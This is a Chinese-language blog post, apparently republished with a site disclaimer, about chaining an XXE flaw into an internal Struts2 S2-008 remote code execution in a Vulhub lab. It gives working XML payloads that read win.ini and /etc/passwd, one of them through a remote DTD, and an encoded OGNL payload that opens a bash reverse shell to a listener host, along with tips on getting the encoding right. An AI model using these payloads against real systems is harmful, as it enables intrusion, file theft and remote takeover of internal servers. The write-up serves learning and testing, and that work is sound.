最近在巩固XXE漏洞的利用技巧,看过好多文章都提到了攻击内网Struts2,并贴上了payload(截图),但是都没给出response结果。在艰难的手码payload后也未能复现。于是,经过了一天一夜的思考,终于悟了。
环境准备:
1. xxe漏洞环境:使用大神们准备好的xxe-lab(https://github.com/c0ny1/xxe-lab)
2. 模拟内网struts2环境:开源Vulhub (https://vulhub.org/#/environments/struts2/s2-008/)
利用文件读取测试xxe漏洞,成功。
<?xml version="1.0"?> <!DOCTYPE ANY [ <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini"> ]> <user><username>&xxe;</username><password>null</password></user>
下面进入正题
经过测试,以下payload可正常执行,并成功反弹shell(只需要修改请求地址和接收反弹shell地址)(该payload是st-008漏洞的)
<?xml version="1.0"?> <!DOCTYPE ANY [ <!ENTITY xxe SYSTEM "http://192.168.30.165:8080/devmode.action?debug=command&expression=%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3dfalse%2c%23f%3d%23_memberAccess.getClass%28%29.getDeclaredField(%22allowStaticMethodAccess%22)%2c%23f.setAccessible(true)%2c%23f.set(%23_memberAccess%2ctrue)%2c%23a%[email protected]@getRuntime().exec(%22%2Fbin%2Fbash%20-c%20bash%24IFS%249-i%3E%26%2Fdev%2Ftcp%2F192.168.1.2%2F10803%3C%261%22).getInputStream()%2c%23b%3dnew%20java.io.InputStreamReader(%23a)%2c%23c%3dnew%20java.io.BufferedReader(%23b)%2c%23d%3dnew%20char%5B50000%5d%2c%23c.read(%23d)%2c%23genxor%3d%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2c%23genxor.println(%23d)%2c%23genxor.flush()%2c%23genxor.close()"> ]> <user><username>&xxe;</username>
以下是在测试中的思考,觉得蛮有意思,分享一下心得:
首先,就是payload自身问题,网上各种文章中的payload在测试环境中都不能复现。
利用Vulhub给的paload也不能成功。想着高难度payload完不成,简单的总行吧,于是我看个struts2历代漏洞,选了一个通过GET方式请求就可成功的(S2-008),当然payload也是网上搜索的(毕竟我是个小菜鸡)。
但是将payload插入xxe中后,提示出错(DOMDocument::loadXML(): Invalid URI);
又联想到远程加载DTD完成攻击,一时间不禁怀疑,是不是只能利用http协议进行端口探测?,或者xxe漏洞攻击http只能加载DTD?
############加载远程dtd完成文件读取: <?xml version="1.0"?> <!DOCTYPE a [<!ENTITY % d SYSTEM "http://192.168.70.81/xxe.dtd" > %d; ]> <x>&xxe;</x> 192.168.70.81xxe.dtd文件内容: <!ENTITY xxe SYSTEM "file:///etc/passwd" >
在一个寂寞的夜晚,夜深人静时候又思考:即使是只能加载DTD,也肯定是发起的http请求。那么攻击内网web也是http请求,原理应该是行得通吧?嗯一定行得通!(相信自己)
第二天早上,迫不及待的开启了验证模式:
自己先起一个simplehttp服务(python3 -m http.server 10802),点击send,果然是请求未成功,ok思路来了。我一段一段的测试payload:
嗯,,这段http请求可以成功,
继续增加字段,未成功,那么,应该就是后增加字段出现问题了。(能有什么问题呢?肯定是编码咯)
经过我一点一点的对payload进行url编码,保证http请求可以正常发起后,修改请求地址反弹shell,完成:
经验分享,网上文章还是需要甄别的学习,通过百度搜索到的大多都是一篇文章搬来搬去,最终有的文章连图片都显示不出来。
在复现、学习时候,一定要亲自上手练习,毕竟实战中总会遇到各种各样的问题,要通过练习解决遇到的问题(例如编码问题,多了空格,http请求头少参数,多了或少了符号等,),才能再实战中快速调整。
漏洞复现要思考原理,网络基础也很重要呦。
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)